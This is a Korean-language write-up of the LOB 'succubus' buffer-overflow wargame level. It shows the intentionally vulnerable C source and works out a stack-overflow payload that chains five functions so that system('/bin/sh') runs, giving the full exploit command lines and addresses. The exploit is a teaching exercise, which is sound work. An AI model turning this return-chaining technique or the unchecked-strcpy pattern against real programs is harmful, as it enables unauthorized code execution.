[LOB] zombie_assassin
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
코드를 보면,
(main함수)
1. argv[1]에 '\x40'라는 문자가 있으면, exit(0)이 된다.
☞ RTL처럼 library 사용이 불가하다.
2. addr에는 DO함수가 들어가고, argv[1]+44와 값을 비교해서 DO함수와 일치하지 않으면 exit(0)이 된다.
3. strcpy(buffer, argv[1]);에서 길이값을 검증하지 않기 때문에 버퍼오버플로우가 일어난다.
4. 초기화
memset(buffer, 0, 44);
memset(buffer+48+100,0,0xbfffffff - (int)(buffer+48+100));
memset(buffer-3000,0,3000-40);
☞ buffer를 44bytes까지 0으로 초기화(buffer 40bytes + sft 4bytes에 해당)
☞ buffer + 48 + 100 : buffer(40bytes)+sft(4bytes)+ret(4bytes)이랑 argc(4bytes), argv[0], argv[1]를 종합해서 100bytes까지 쓸 수 있다.
☞ buffer - 3000까지 사용 가능
(check변수)
1. check변수가 0으로 전역변수(Data영역에 할당)로 설정되어 있다.
2. 함수에는 main함수 외에 DO, GYE, GUL, YUT, MO가 있고 MO안에 들어가야 system()함수를 실행할 수 있다.
3. 도개걸윷모 함수를 만족하기 위해서 check 변수를 확인하고 그래야 다음함수를 실행할 수 있다.
- 도(DO) : x → 1
- 개(GYE) : 1 → 2
- 걸(GUL) : 2 → 3
- 윷(YUT) : 3 → 4
- 모(MO) : 4 → *cmd
4. 문제 위에 "calling functions continuously" 문구를 통해서 DO → GYE → GUL → YUT → MO 함수를 차례대로 실행하여 check변수를 맞춘 후에 system함수에 "/bin/sh"를 넣어 쉘을 얻는 게 목표이다!
우선, 함수가 작동할 때 stack구조가 어떻게 되는지 살펴보면,
func test(arg1, arg2)
{
int a;
}
push arg2 //인자 삽입 (순서주의!)
push arg1 //인자 삽입
call func //함수 호출규약에 따라서 달라짐(cdecl, stdcall, fastcall)
add esp, 0x4 // 함수 내 변수 할당.
RET 부분을 조작해서 DO → GYE → GUL → YUT → MO 함수가 실행되도록 그리면 다음과 같다.
buffer(40bytes)+sfp(4bytes)+&DO+&GYE+&GUL+&YUT+&MO+ret(dummy값)+arg1(&/bin/sh)
succubus 파일일을 /tmp 경로에 넣고 gdb로 함수의 주소를 알아내면 아래와 같다.
이제 "/bin/sh" 이 부분을 해결해야 한다.
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
MO 함수 코드를 보면 인자값으로 *cmd인 것을 통해서 문자열이 아니라 주소로 넣어야 한다는 것을 알 수 있다!
RTL기법처럼 /bin/sh의 주소를 구하면 0x40가 들어가기 때문에 다른 방법을 찾아야 한다.
그럼 인자값으로 /bin/sh의 값을 주고 해당 위치의 주소를 넣어주면 괜찮을 거 같다!
./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"BBBB"+"/bin/sh"'`
위에 처럼 인자값을 주고 나서, /bin/sh가 들어가는 주소를 BBBB에 넣으면 된다!
그러고 나서 core 파일을 확인해 보면
$ gdb -q -c core
42424242(BBBB)에
/bin/sh의 주소인 0xbffffa98을 넣어 준다.
페이로드를 다시 작성하면 아래와 같다.
./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf""/bin/sh"'`
실행 결과 :
성공! 😆